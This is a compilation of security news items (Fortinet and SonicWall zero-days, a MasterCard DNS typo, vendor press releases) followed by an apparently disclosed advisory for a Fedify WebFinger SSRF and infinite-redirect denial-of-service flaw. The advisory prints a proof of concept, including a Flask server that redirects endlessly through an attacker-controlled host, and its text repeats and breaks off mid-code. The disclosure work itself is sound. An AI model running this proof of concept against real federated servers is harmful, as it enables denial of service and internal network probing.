The firewall specialist has patched the security flaw, which was responsible for a series of attacks reported earlier this month that compromised FortiOS and FortiProxy products exposed to the public Internet.

Source: Lutsenko via Oleksandr via Shutterstock

Fortinet has patched an actively exploited zero-day authentication bypass flaw affecting its FortiOS and FortiProxy products, which attackers have been exploiting to gain super-administrative access to devices to conduct nefarious activities, including breaching corporate networks.

Fortinet characterized the flaw, rated as critical and tracked as CVE-2024-55591 (CVSS 9.6), as an "authentication bypass using an alternate path or channel vulnerability" that "may allow a remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module," according to a FortiGuard Labs security advisory last week.

Fortinet observed threat actors performing various malicious operations by exploiting the flaw. These activities included: creating an admin account on the device with a random user name; creating a local user account on the device with a random user name; creating a user group or adding a local user to an existing SSL VPN user group; adding and/or changing other settings, including firewall policy and/or firewall address; and logging in to the SSL VPN to get a tunnel to the internal network.

Fortinet recommended that customers using affected products follow the recommended upgrade path on its website to mitigate the flaw. It also offered workaround options in its advisory.

Related:For $50, Cyberattackers Can Use GhostGPT to Write Malicious Code

**First Signs of Fortinet Zero-Day Exploitation**

The first signs that something was amiss came earlier this month, when researchers at Arctic Wolf revealed that a zero-day flaw was likely to blame for a series of recent attacks on FortiGate firewall devices with management interfaces exposed on the public Internet. Attackers were targeting the devices to create unauthorized administrative logins and make other configuration changes, create new accounts, and perform SSL VPN authentication.

Fortinet quietly informed its customer base of the issue before revealing the patch and extent of the situation late last week; this low-key revelation is how Arctic Wolf got wind of it, according to a blog post analyzing the flaw by watchTowr Labs published on Jan. 27. However, security researchers did not yet know exactly what the flaw was or what the exploitation entailed.

That's become clearer now. The flaw resided within the jsconsole functionality, which is a graphical user interface (GUI) feature to execute command line interface (CLI) commands inside FortiOS's management interface, according to watchTowr Labs. "Specifically, the weakness in this functionality allowed attackers to add a new administrative account," according to the post.

Related:Change Healthcare Breach Impact Doubles to 190M People

Jsconsole is a WebSocket-based Web console to the CLI of the affected Fortinet appliances. "This CLI is all-powerful, since it is effectively the same as the actual provided CLI that is used by legitimate administrators to configure the device," according to watchTowr Labs. Therefore, if an attacker gains access to the Web console, the appliance itself should be considered compromised.

The researchers took a deep dive into the vulnerability and found that it was actually a chain of issues combined into one critical vulnerability that allowed attackers to follow four key steps to achieve super administrative access.

Those steps are: creating a WebSocket connection from a pre-authenticated HTTP request; using a special parameter local\_access\_token to skip session checks; exploiting a race condition in the WebSocket Telnet CLI to send authentication before the server does; and picking the access profile that an attacker wishes to assume, which in the case of the researchers' proof-of-concept was to become a super administrator.

**Mitigation & Protection Against CVE-2024-55591**

Fortinet devices are a popular target for threat actors, with vulnerabilities found in the products often widely exploited to breach not only devices but also act as a point of entry to attack corporate networks.

Related:The Case for Proactive, Scalable Data Protection

Organizations using the devices affected by the flaw are advised to follow the appropriate update path or apply the workaround provided by Fortinet.

Fortinet also noted in its advisory that an attacker generally would need to know an admin account's username to perform the attack and log in to the CLE to exploit the flaw. "Therefore, having a non-standard and non-guessable username for admin accounts does offer some protection, and is, in general, a best practice," according to the advisory.

However, the company added, since the targeted WebSocket is not itself an authentication point, attackers still have the possibility of brute-forcing the username to exploit the flaw.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

Actively Exploited Fortinet Zero-Day Gives Attackers Super-Admin Privileges

PRESS RELEASE

SEATTLE, Jan. 15, 2025 /PRNewswire/ -- Spectral Capital Corporation (OTCQB: FCCN), a pioneer in providing its deep quantum technology platform, is pleased to announce the filing of a critical patent in quantum cybersecurity.

"Over the past three decades, I have been deeply involved in the cybersecurity industry, including founding a leading-edge company that addressed some of the most complex challenges in the field," said Sean Michael Brehm, chairman of Spectral. "Quantum computing elevates cybersecurity risks to an entirely new level. With its potential to break RSA encryption—the foundation of global data security—quantum technology presents an unprecedented threat. In response, our team has developed a solution to ensure RSA encryption remains secure, even in the quantum era," concluded Spectral chairman Sean Michael Brehm.

"Out of the 104 patentable innovations acquired in the Vogon Cloud acquisition, the patent application around protecting RSA encryption from quantum hacking could be one of our most important. According to Allied Market Research, the global RSA encryption market, primarily measured within the broader "hardware encryption" category, is estimated to hold a significant share, with some reports stating that the RSA segment represents around 50% of the hardware encryption market, which is projected to reach a size of approximately $1.2 trillion by 2031, indicating a substantial market for RSA encryption alone. We are proud to be a part of protecting that market, even as new technologies for encryption emerge, like Spectral's unhackable distributed quantum ledger database technology," said Spectral's Chief Executive Officer, Jenifer Osterwalder. 

Spectral has a portfolio of patents and trade secrets designed to meet the enormous demand for hybrid computing systems which combine current classical computing technologies with emerging quantum computing technologies as these are made commercially available. An entire ecosystem of hardware and software will be needed to support hybrid and quantum computing and Spectral has ambitious plans to build one of the largest intellectual property portfolios in the industry, including its previously announced goal of filing for more than 500 patents by the end of 2025.

About Spectral Capital  
Spectral Capital (OTCQB: FCCN) is a quantum technology platform company at the forefront of innovation. Focusing on sustainable green cloud computing, quantum databases, and advanced quantum chip technology, Spectral Capital is revolutionizing industries such as telecommunications, AI, and green technology. With flagship offerings like the Vogon Cloud and Vogon DQLDB, the company is pioneering a future of decentralized, secure, and scalable computing.

Forward-Looking Statements

This press release contains forward-looking statements (as defined in Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended) concerning future events and FCCN's growth and business strategy. Words such as "expects," "will," "intends," "plans," "believes," "anticipates," "hopes," "estimates," and variations on such words and similar expressions are intended to identify forward-looking statements. Although FCCN believes that the expectations reflected in such forward-looking statements are reasonable, no assurance can be given that such expectations will prove to have been correct. These statements involve known and unknown risks and are based upon a number of assumptions and estimates that are inherently subject to significant uncertainties and contingencies, many of which are beyond the control of FCCN. Actual results may differ materially from those expressed or implied by such forward-looking statements. Factors that could cause actual results to differ materially include, but are not limited to, changes in FCCN's business; competitive factors in the market(s) in which FCCN operates; risks associated with operations outside the United States; and other factors listed from time to time in FCCN's filings with the Securities and Exchange Commission. FCCN expressly disclaims any obligations or undertaking to release publicly any updates or revisions to any forward-looking statements contained herein to reflect any change in FCCN's expectations with respect thereto or any change in events, conditions or circumstances on which any statement is based.

Spectral Capital Files Quantum Cybersecurity Patent

Critical security flaw in SonicWall SMA 1000 appliances (CVE-2025-23006) exploited as a zero-day. Rated CVSS 9.8, patch immediately…

Critical security flaw in SonicWall SMA 1000 appliances (CVE-2025-23006) exploited as a zero-day. Rated CVSS 9.8, patch immediately to protect systems.

**SonicWall** has identified a critical security flaw in its Secure Mobile Access (SMA) 1000 Series appliances, which it believes has been exploited as a zero-day vulnerability. Learn about the vulnerability, impact, and how to mitigate the risk.

SonicWall issued a security advisory (SNWLID-2025-0002) on January 22nd, 2025, urging customers to address a critical zero-day vulnerability (**CVE-2025-23006)** impacting its Secure Mobile Access (SMA) 1000 Series appliances. Microsoft Threat Intelligence Centre discovered the flaw.

The vulnerability, rated 9.8 out of 10.0 on the CVSS scoring system, occurs due to improper handling of untrusted data during deserialization in the AMC (Appliance Management Console) and CMC (Central Management Console) components of the SMA 1000. Deserialization is a technical term for converting a stream of data back into a usable format. 

In this case, attackers can exploit weaknesses in how the SMA 1000 handles external data, possibly injecting malicious code to execute arbitrary commands on the system. The consequences of exploiting this vulnerability are severe. A successful attack could allow remote, unauthenticated attackers to gain complete control over affected devices. 

Moreover, attackers could steal sensitive information stored on the appliance, including user credentials, configuration data, or even confidential business documents, and may manipulate or disable critical system functions, rendering the appliance inoperable. Furthermore, a compromised SMA 1000 appliance could be used as a launching pad for further attacks within the network. 

Under certain conditions, this flaw could allow remote attackers to execute arbitrary commands, potentially compromising confidentiality, integrity, and availability.

SonicWall, a provider of secure remote access solutions for organizations like managed security service providers, enterprises, and government agencies, has been notified of potential active exploitation by unknown threat actors and urges customers to apply the fixes promptly. Germany’s CERT-Bund has also **issued advisories** (PDF) for immediate patch implementation, citing online exposure of 2,380 SMA1000 devices on Shodan.

Here’s what SonicWall recommended in its **advisory**:

*   Apply the Hotfix Immediately: Update your SMA 1000 appliance to the latest hotfix version (12.4.3-02854 or higher) to patch the vulnerability.

*   Restrict Access to Management Consoles: As a temporary workaround, limit access to the AMC and CMC consoles to trusted sources only. Refer to the SMA 1000 Administration Guide for best practices on securing these consoles.

This vulnerability exclusively impacts SonicWall SMA 1000 Series appliances running version 12.4.3-02804 (or earlier). SonicWall Firewalls and SMA 100 series products are not affected.

In a comment to Hackread.com, Bugcrowd founder **Casey Ellis** described the vulnerability as “gnarly” and emphasized that it reflects a broader trend of attackers increasingly targeting weaknesses in remote access systems and network devices.

_“_This vulnerability is gnarly and continues the trend of targeting vulnerabilities in Remote Access systems and network concentrators. Aside from patching, organizations should ensure that management interfaces for the SMA 1000, or any other device for that matter given the cluster of vulnerabilities, research, and exploitation, are not publicly accessible._“_

1.  **UNC5820 Exploits FortiManager 0-Day Flaw (CVE-2024-47575)**
2.  **Millions of Email Servers Exposed Due to Missing TLS Encryption**
3.  **Goldoon Botnet Hits D-Link Devices by Exploiting 9-Year-Old Flaw**
4.  **Fake PoC Exploit Targets Cybersecurity Researchers with Malware**
5.  **Zendesk’s Subdomain Registration Exposed to Pig Butchering Scams**

SonicWall SMA Appliances Exploited in Zero-Day Attacks

PRESS RELEASE

WASHINGTON – Today, the Cybersecurity and Infrastructure Security Agency (CISA), in partnership with the Defense Advanced Research Projects Agency (DARPA), the Office of the Under Secretary of Defense for Research and Engineering (OUSD R&E), and the National Security Agency (NSA), published Closing the Software Understanding Gap that calls for decisive and coordinated action by the U.S. government to obtain a deep, scalable understanding of software-controlled systems. Specifically, the report calls for software-controlled systems that can be assessed to verify functionality, safety, and security across all conditions, which is currently not available.

Mission owners and operators lack adequate capabilities for software understanding because technology manufacturers build software that greatly outstrips the ability to understand it. The inadequate understanding leads to exploited software vulnerabilities because technology manufacturers create software that is not secure by design.

“Recent discoveries of adversarial state-sponsored activity in US critical infrastructure – primarily in Communications, Energy, Transportation Systems, and Water and Wastewater Systems – pose imminent threats to US national security. The software understanding gap exacerbates the risk to this threat activity,” said CISA Technical Director Chris Butera. “Mission owners and operators have an enormous and accelerating dependence on the software underwriting U.S. critical infrastructure. With our partners, we urge the USG to close this gap before other nations and urge software manufactures to align to Secure by Design principles.” 

The report highlights potential solutions to change the security posture of legacy and future software. One example is the application of mathematically rigorous techniques known as formal methods. For a long time, formally verified software has seemed hopelessly out of reach, but advances by DARPA and others over the past decade have made formal approaches more accessible for mainstream practice.

“We have the tools today to greatly reduce the number of software vulnerabilities that plague our software infrastructure,” said DARPA’s Information Innovation Office Director, Kathleen Fisher. “Rapid action to implement these tools in legacy and future systems can dramatically reduce the United States’ cyber vulnerabilities ahead of future global conflicts.”

This report also provides recommendations to obtain a deep, scalable understanding of software-controlled systems, including AI-based systems. By providing an adequate capacity for software understanding, the United States will secure an advantage in geopolitics for the foreseeable future and will help harden critical infrastructure against state-sponsored activity.

This report highlights the enduring broad government coordination required to create the capabilities to address these threats.

For more information on Secure by Design, visit Secure by Design webpage.

About CISA 

As the nation’s cyber defense agency and national coordinator for critical infrastructure security, the Cybersecurity and Infrastructure Security Agency leads the national effort to understand, manage, and reduce risk to the digital and physical infrastructure Americans rely on every hour of every day.

You May Also Like

CISA Calls For Action to Close the Software Understanding Gap

The AI-powered work platform helps organizations securely identify and access internal enterprise data as part of business processes and workflows.

Source: YAY Media AS via Alamy Stock Photo

NEWS BRIEF

All organizations, regardless of size or industry, are experiencing a data boom, with information being stored in multiple applications, such as Confluence, GitLab, Jira, Monday, Slack, Salesforce, and Zendesk. In turn, the ability to search through the mountains of data to find what they need has become increasingly more difficult. Enterprise search is an area where artificial intelligence (AI) can shine, with tools that take questions from users and them look through various information sources to provide relevant answers quickly.

The challenge, however, is delivering those answers without compromising data security. AI's ability to look at all of an organization's data means that an unauthorized actor could potentially manipulate the system to obtain information that they should not be able to access or use in a manner they should not. Doti AI, an AI-powered enterprise work platform that emerged from stealth today, promises to secure the organization's data while giving employees the ability to find information as part of existing workflows. For example, customer support teams can resolve issues faster by retrieving relevant knowledge base articles or identifying similar past cases without searching across multiple systems, the company said in a statement.

"Doti creates a centralized 'organizational brain' that empowers employees to find accurate, relevant information quickly and effortlessly," the company said.

The platform consolidates data from multiple business applications and sources and presents a single interface to the organization's data, the company said. Because it can handle both structured and unstructured data, users can use the platform to analyze codebases, draft communications, retrieve historical project context, and answer policy questions.

It can be deployed on-premises or in the cloud, and gives organizations robust security controls, including real-time permissions enforcement, hybrid deployment options, and granular access controls. Doti's approach to tenant segregation means customers have "complete flexibility and control over their data." The software-as-a-service customers get a dedicated database. Organizations can deploy the platform locally within their environment in either a fully on-premise or hybrid setup.

If someone compromises the organization, that actor will have only limited access to a limited subset of all the data the platform can see. Doti enforces document-level permissions at the data source. Each resource Doti retrieves is checked every time to ensure the user is allowed to access that information. Doti also developed a layer called "spaces," where specific data is bound to specific users. This means only the intended users can access that information.

The platform has both direct and indirect prompt injection guardrails to prevent leakage of unauthorized information.

As part of the launch, Doti AI also raised $7 million in seed funding led by F2 Venture Capital and several angel investors. Doti AI was founded in January 2024 by Matan Cohen and Opher Hofshi, who have experience in enterprise software and cybersecurity. They were both at Wix — where Cohen was the former software group manager and Hofshi was the former security architects team leader — where they saw firsthand the impact of "organizational information chaos" in large, fast-paced organizations.

**About the Author**

Managing Editor, Features, Dark Reading

As Dark Reading’s managing editor for features, Fahmida Y Rashid focuses on stories that provide security professionals with the information they need to do their jobs. She has spent over a decade analyzing news events and demystifying security technology for IT professionals and business managers. Prior to specializing in information security, Fahmida wrote about enterprise IT, especially networking, open source, and core internet infrastructure. Before becoming a journalist, she spent over 10 years as an IT professional -- and has experience as a network administrator, software developer, management consultant, and product manager. Her work has appeared in various business and test trade publications, including VentureBeat, CSO Online, InfoWorld, eWEEK, CRN, PC Magazine, and Tom’s Guide.

Doti AI Launches Platform to Securely Find Enterprise Data

The payment card giant MasterCard just fixed a glaring error in its domain name server settings that could have allowed anyone to intercept or divert Internet traffic for the company by registering an unused domain name. The misconfiguration persisted for nearly five years until a security researcher spent $300 to register the domain and prevent it from being grabbed by cybercriminals.

The payment card giant **MasterCard** just fixed a glaring error in its domain name server settings that could have allowed anyone to intercept or divert Internet traffic for the company by registering an unused domain name. The misconfiguration persisted for nearly five years until a security researcher spent $300 to register the domain and prevent it from being grabbed by cybercriminals.

A DNS lookup on the domain az.mastercard.com on Jan. 14, 2025 shows the mistyped domain name a22-65.akam.ne.

From June 30, 2020 until January 14, 2025, one of the core Internet servers that MasterCard uses to direct traffic for portions of the mastercard.com network was misnamed. MasterCard.com relies on five shared Domain Name System (DNS) servers at the Internet infrastructure provider **Akamai** \[DNS acts as a kind of Internet phone book, by translating website names to numeric Internet addresses that are easier for computers to manage\].

All of the Akamai DNS server names that MasterCard uses are supposed to end in “akam.net” but one of them was misconfigured to rely on the domain “**akam.ne**.”

This tiny but potentially critical typo was discovered recently by **Philippe Caturegli**, founder of the security consultancy Seralys. Caturegli said he guessed that nobody had yet registered the domain akam.ne, which is under the purview of the top-level domain authority for the West Africa nation of Niger.

Caturegli said it took $300 and nearly three months of waiting to secure the domain with the registry in Niger. After enabling a DNS server on akam.ne, he noticed hundreds of thousands of DNS requests hitting his server each day from locations around the globe. Apparently, MasterCard wasn’t the only organization that had fat-fingered a DNS entry to include “akam.ne,” but they were by far the largest.

Had he enabled an email server on his new domain akam.ne, Caturegli likely would have received wayward emails directed toward mastercard.com or other affected domains. If he’d abused his access, he probably could have obtained website encryption certificates (SSL/TLS certs) that were authorized to accept and relay web traffic for affected websites. He may even have been able to passively receive Microsoft Windows authentication credentials from employee computers at affected companies.

But the researcher said he didn’t attempt to do any of that. Instead, he alerted MasterCard that the domain was theirs if they wanted it, copying this author on his notifications. A few hours later, MasterCard acknowledged the mistake, but said there was never any real threat to the security of its operations.

“We have looked into the matter and there was not a risk to our systems,” a MasterCard spokesperson wrote. “This typo has now been corrected.”

Meanwhile, Caturegli received a request submitted through **Bugcrowd**, a program that offers financial rewards and recognition to security researchers who find flaws and work privately with the affected vendor to fix them. The message suggested his public disclosure of the MasterCard DNS error via a post on LinkedIn (after he’d secured the akam.ne domain) was not aligned with ethical security practices, and passed on a request from MasterCard to have the post removed.

MasterCard’s request to Caturegli, a.k.a. “Titon” on infosec.exchange.

Caturegli said while he does have an account on Bugcrowd, he has never submitted anything through the Bugcrowd program, and that he reported this issue directly to MasterCard.

“I did not disclose this issue through Bugcrowd,” Caturegli wrote in reply. “Before making any public disclosure, I ensured that the affected domain was registered to prevent exploitation, mitigating any risk to MasterCard or its customers. This action, which we took at our own expense, demonstrates our commitment to ethical security practices and responsible disclosure.”

Most organizations have at least two authoritative domain name servers, but some handle so many DNS requests that they need to spread the load over additional DNS server domains. In MasterCard’s case, that number is five, so it stands to reason that if an attacker managed to seize control over just one of those domains they would only be able to see about one-fifth of the overall DNS requests coming in.

But Caturegli said the reality is that many Internet users are relying at least to some degree on public traffic forwarders or DNS resolvers like **Cloudflare** and **Google**.

“So all we need is for one of these resolvers to query our name server and cache the result,” Caturegli said. By setting their DNS server records with a long TTL or “Time To Live” — a setting that can adjust the lifespan of data packets on a network — an attacker’s poisoned instructions for the target domain can be propagated by large cloud providers.

“With a long TTL, we may reroute a LOT more than just 1/5 of the traffic,” he said.

The researcher said he’d hoped that the credit card giant might thank him, or at least offer to cover the cost of buying the domain.

“We obviously disagree with this assessment,” Caturegli wrote in a follow-up post on LinkedIn regarding MasterCard’s public statement. “But we’ll let you judge— here are some of the DNS lookups we recorded before reporting the issue.”

Caturegli posted this screenshot of MasterCard domains that were potentially at risk from the misconfigured domain.

As the screenshot above shows, the misconfigured DNS server Caturegli found involved the MasterCard subdomain **az.mastercard.com**. It is not clear exactly how this subdomain is used by MasterCard, however their naming conventions suggest the domains correspond to production servers at Microsoft’s **Azure** cloud service. Caturegli said the domains all resolve to Internet addresses at Microsoft.

“Don’t be like Mastercard,” Caturegli concluded in his LinkedIn post. “Don’t dismiss risk, and don’t let your marketing team handle security disclosures.”

One final note: The domain akam.ne has been registered previously — in December 2016 by someone using the email address um-i-delo@yandex.ru. The Russian search giant Yandex reports this user account belongs to an “Ivan I.” from Moscow. Passive DNS records from DomainTools.com show that between 2016 and 2018 the domain was connected to an Internet server in Germany, and that the domain was left to expire in 2018.

This is interesting given a comment on Caturegli’s LinkedIn post from an ex-Cloudflare employee who linked to a report he co-authored on a similar typo domain apparently registered in 2017 for organizations that may have mistyped their AWS DNS server as “**awsdns-06.ne**” instead of “**awsdns-06.net**.” DomainTools reports that this typo domain also was registered to a Yandex user (playlotto@yandex.ru), and was hosted at the same German ISP — Team Internet (AS61969).

MasterCard DNS Error Went Unnoticed for Years

### Summary
This vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim’s server into an infinite loop causing Denial of Service.
Moreover, this issue can also be maneuvered into performing a Blind SSRF attack.

### Details
The Webfinger endpoint takes a remote domain for checking accounts as a feature, however, as per the ActivityPub spec (https://www.w3.org/TR/activitypub/#security-considerations), on the security considerations section at B.3, access to Localhost services should be prevented while running in production.

The **lookupWebFinger** function, responsible for returning an actor handler for received actor objects from a remote server, can be abused to perform a Denial of Service (DoS) and Blind SSRF attacks while attempting to resolve a malicious actor’s object.
On Fedify, two client-facing functions implement the **lookupWebFinger** function- **getActorHandle**, and **lookupObject**, which are both used as a wrapper for the vulnerable lookup function.
As the **lookupObject** function is implemented only for CLI usage, we won’t focus our PoC and explanation on it, but it is still vulnerable in the same way **getActorHandle** is.

The **getActorHandle** function is a wrapper function for the **getActorHandleInternal** function (both present at _/src/vocab/actor.ts_):
```javascript
async function getActorHandleInternal(
  actor: Actor | URL,
  options: GetActorHandleOptions = {},
): Promise<`@${string}@${string}` | `${string}@${string}`> {
  const actorId = actor instanceof URL ? actor : actor.id;
  if (actorId != null) {
    const result = await lookupWebFinger(actorId, {
      userAgent: options.userAgent,
      tracerProvider: options.tracerProvider,
    });
    if (result != null) {
      const aliases = [...(result.aliases ?? [])];
      if (result.subject != null) aliases.unshift(result.subject);
      for (const alias of aliases) {
        const match = alias.match(/^acct:([^@]+)@([^@]+)$/);
        if (match != null) {
          const hostname = new URL(`https://${match[2]}/`).hostname;
          if (
            hostname !== actorId.hostname &&
            !await verifyCrossOriginActorHandle(
              actorId.href,
              alias,
              options.userAgent,
              options.tracerProvider,
            )
          ) {
            continue;
          }
          return normalizeActorHandle(`@${match[1]}@${match[2]}`, options);
        }
      }
    }
  }
  if (
    !(actor instanceof URL) && actor.preferredUsername != null &&
    actor.id != null
  ) {
    return normalizeActorHandle(
      `@${actor.preferredUsername}@${actor.id.host}`,
      options,
    );
  }
  throw new TypeError(
    "Actor does not have enough information to get the handle.",
  );
}
```

The **actorId** parameter containing a URL of the actor ID sinks into the **lookupWebFinger** function which is a wrapper for the **lookupWebFingerInternal**:
```javascript
async function lookupWebFingerInternal(
  resource: URL | string,
  options: LookupWebFingerOptions = {},
): Promise<ResourceDescriptor | null> {
  if (typeof resource === "string") resource = new URL(resource);
  let protocol = "https:";
  let server: string;
  if (resource.protocol === "acct:") {
    const atPos = resource.pathname.lastIndexOf("@");
    if (atPos < 0) return null;
    server = resource.pathname.substring(atPos + 1);
    if (server === "") return null;
  } else {
    protocol = resource.protocol;
    server = resource.host;
  }
  let url = new URL(`${protocol}//${server}/.well-known/webfinger`);
  url.searchParams.set("resource", resource.href);
  while (true) {
    logger.debug(
      "Fetching WebFinger resource descriptor from {url}...",
      { url: url.href },
    );
    let response: Response;
    try {
      response = await fetch(url, {
        headers: {
          Accept: "application/jrd+json",
          "User-Agent": typeof options.userAgent === "string"
            ? options.userAgent
            : getUserAgent(options.userAgent),
        },
        redirect: "manual",
      });
    } catch (error) {
      logger.debug(
        "Failed to fetch WebFinger resource descriptor: {error}",
        { url: url.href, error },
      );
      return null;
    }
    if (
      response.status >= 300 && response.status < 400 &&
      response.headers.has("Location")
    ) {
      url = new URL(
        response.headers.get("Location")!,
        response.url == null || response.url === "" ? url : response.url,
      );
      continue;
    }
    if (!response.ok) {
      logger.debug(
        "Failed to fetch WebFinger resource descriptor: {status} {statusText}.",
        {
          url: url.href,
          status: response.status,
          statusText: response.statusText,
        },
      );
      return null;
    }
    try {
      return await response.json() as ResourceDescriptor;
    } catch (e) {
      if (e instanceof SyntaxError) {
        logger.debug(
          "Failed to parse WebFinger resource descriptor as JSON: {error}",
          { error: e },
        );
        return null;
      }
      throw e;
    }
  }
}
```

The function takes the **actorId** parameter containing the actor ID URL, extracts the scheme and uses the rest of the URL (host+port+path) directly inside a hard-coded Webfinger URL address which in turn sinks into a fetch request.

On the fetch request, the **redirect** attribute is set to “**manual**” preventing automated redirects. However, redirects are still handled using custom code that loops over responses and re-fetching the URL found inside the “Location” header until receiving a valid response or an error occurs (loop keeps until 300>status code>400).

This custom redirect implementation contains multiple issues:
1.The redirect loop is endless ( while(true) loop ) without any iteration limiting, allowing attackers to perform DoS via endless redirecting.
2. A Blind SSRF attack to any URL, with arbitrary Host, Port and Path is possible via the current custom redirect implementation.
3. As the redirect handler is a custom one, it breaches the security mechanisms presented by the native redirect handler of fetch - allowing the attacker to redirect to different schemes such as data or file schemes.

In order to successfully perform any of the attacks described above, an attacker needs to create a federated app which presents a malicious actor object, containing an actor ID URL of a second server which performs a recursive redirect to itself, or a URL containing an internal resource.


### PoC
1. In order to show a use case of the vulnerability, we can use the demo app presented at this URL: https://github.com/dahlia/microblog.
2. We will create two machines, victim and attacker, each one on a different server with different domains.

**_Victim Machine_**
1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
2. Install a Deno server:
`
curl -fsSL https://deno.land/install.sh | sh
`
`
source ~/.bashrc
`
`
deno --version #check deno is working
`
3. Pull the git repository of the victim blog app:
`
git clone https://github.com/dahlia/fedify.git
`
4. Modify the federation object to remove signature checks for the sake of easy testing:
On file **_/examples/blog/federation/mod.ts_** edit the **_createFederation<void>_** object the following attribute: **_skipSignatureVerification: true_**.
5. Change into the blog app directory ( /examples/blog ) and run the app:
`
deno task preview
`
6. Surf to the application on the browser, and register a user on the app.

**_Attacker Machine_**
1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
2. Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):
`
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash
`
`
source ~/.bashrc
`
`
nvm list-remote
`
3. Install the latest stable version:
`
nvm install {latest_ver} #for example: v20.10.0
`
`
source ~/.bashrc
`
`
npm -v #check it works
`
`
node -v #check it works
`
4. Download the attacker app repository:
`
git clone https://github.com/dahlia/microblog.git
`
5. Disable request signature validations:
Edit the **_/src/federation.ts_** file and add a **_skipSignatureVerification: true_** attribute to the **_createFederation_** object.
6. Modify the **_/src/federation.ts_** file and tamper with the Person object on the actor dispatcher ( **_setActorDispatcher("/users/{identifier}"_** ) - change the actor ID attribute **_“id: ctx.getActorUri(identifier)_**” into “**_id: new URL(‘http://<ATTACKER_MACHINE_DOMAIN>:1337/users/enterloop’)_**”.
7. Install python flask and create the Python Flask redirect server:
`
apt update
`
`
apt install python3-flask
`
```python
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/health')
def health():
    return "hello", 200

@app.route('/.well-known/webfinger')
def ssrfinger():
    return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")

@app.route('/endlessloop')
def endlessloop():
    return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0' ,port=1337)
```
8.  Run the python server and attempt to reach the “**_/health_**” path to see the server functions as expected.
9. Read the **_README.txt_** file on the attacker app and follow the instructions on how to execute the app.
10. Surf the app on the browser and attempt to follow the federated user on the victim’s machine.
11. Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).


### Impact
1. Implement a limiting stop condition for the endless loop to prevent infinite loops.
2. Validate the scheme while performing a manual redirection handler.
3. For each web resource (for the **_lookupWebFinger_** function and also URLs found on the “**_Location_**” header inside the loop) use the “**_validatePublicUrl_**” function to verify that it is not targeting a local resource.


**Summary**

This vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim’s server into an infinite loop causing Denial of Service.  
Moreover, this issue can also be maneuvered into performing a Blind SSRF attack.

**Details**

The Webfinger endpoint takes a remote domain for checking accounts as a feature, however, as per the ActivityPub spec (https://www.w3.org/TR/activitypub/#security-considerations), on the security considerations section at B.3, access to Localhost services should be prevented while running in production.

The **lookupWebFinger** function, responsible for returning an actor handler for received actor objects from a remote server, can be abused to perform a Denial of Service (DoS) and Blind SSRF attacks while attempting to resolve a malicious actor’s object.  
On Fedify, two client-facing functions implement the **lookupWebFinger** function- **getActorHandle**, and **lookupObject**, which are both used as a wrapper for the vulnerable lookup function.  
As the **lookupObject** function is implemented only for CLI usage, we won’t focus our PoC and explanation on it, but it is still vulnerable in the same way **getActorHandle** is.

The **getActorHandle** function is a wrapper function for the **getActorHandleInternal** function (both present at _/src/vocab/actor.ts_):

async function getActorHandleInternal(
  actor: Actor | URL,
  options: GetActorHandleOptions \= {},
): Promise<\`@${string}@${string}\` | \`${string}@${string}\`\> {
  const actorId \= actor instanceof URL ? actor : actor.id;
  if (actorId != null) {
    const result \= await lookupWebFinger(actorId, {
      userAgent: options.userAgent,
      tracerProvider: options.tracerProvider,
    });
    if (result != null) {
      const aliases \= \[...(result.aliases ?? \[\])\];
      if (result.subject != null) aliases.unshift(result.subject);
      for (const alias of aliases) {
        const match \= alias.match(/^acct:(\[^@\]+)@(\[^@\]+)$/);
        if (match != null) {
          const hostname \= new URL(\`https://${match\[2\]}/\`).hostname;
          if (
            hostname !== actorId.hostname &&
            !await verifyCrossOriginActorHandle(
              actorId.href,
              alias,
              options.userAgent,
              options.tracerProvider,
            )
          ) {
            continue;
          }
          return normalizeActorHandle(\`@${match\[1\]}@${match\[2\]}\`, options);
        }
      }
    }
  }
  if (
    !(actor instanceof URL) && actor.preferredUsername != null &&
    actor.id != null
  ) {
    return normalizeActorHandle(
      \`@${actor.preferredUsername}@${actor.id.host}\`,
      options,
    );
  }
  throw new TypeError(
    "Actor does not have enough information to get the handle.",
  );
}

The **actorId** parameter containing a URL of the actor ID sinks into the **lookupWebFinger** function which is a wrapper for the **lookupWebFingerInternal**:

async function lookupWebFingerInternal(
  resource: URL | string,
  options: LookupWebFingerOptions \= {},
): Promise<ResourceDescriptor | null\> {
  if (typeof resource \=== "string") resource \= new URL(resource);
  let protocol \= "https:";
  let server: string;
  if (resource.protocol \=== "acct:") {
    const atPos \= resource.pathname.lastIndexOf("@");
    if (atPos < 0) return null;
    server \= resource.pathname.substring(atPos + 1);
    if (server \=== "") return null;
  } else {
    protocol \= resource.protocol;
    server \= resource.host;
  }
  let url \= new URL(\`${protocol}//${server}/.well-known/webfinger\`);
  url.searchParams.set("resource", resource.href);
  while (true) {
    logger.debug(
      "Fetching WebFinger resource descriptor from {url}...",
      { url: url.href },
    );
    let response: Response;
    try {
      response \= await fetch(url, {
        headers: {
          Accept: "application/jrd+json",
          "User-Agent": typeof options.userAgent \=== "string"
            ? options.userAgent
            : getUserAgent(options.userAgent),
        },
        redirect: "manual",
      });
    } catch (error) {
      logger.debug(
        "Failed to fetch WebFinger resource descriptor: {error}",
        { url: url.href, error },
      );
      return null;
    }
    if (
      response.status \>= 300 && response.status < 400 &&
      response.headers.has("Location")
    ) {
      url \= new URL(
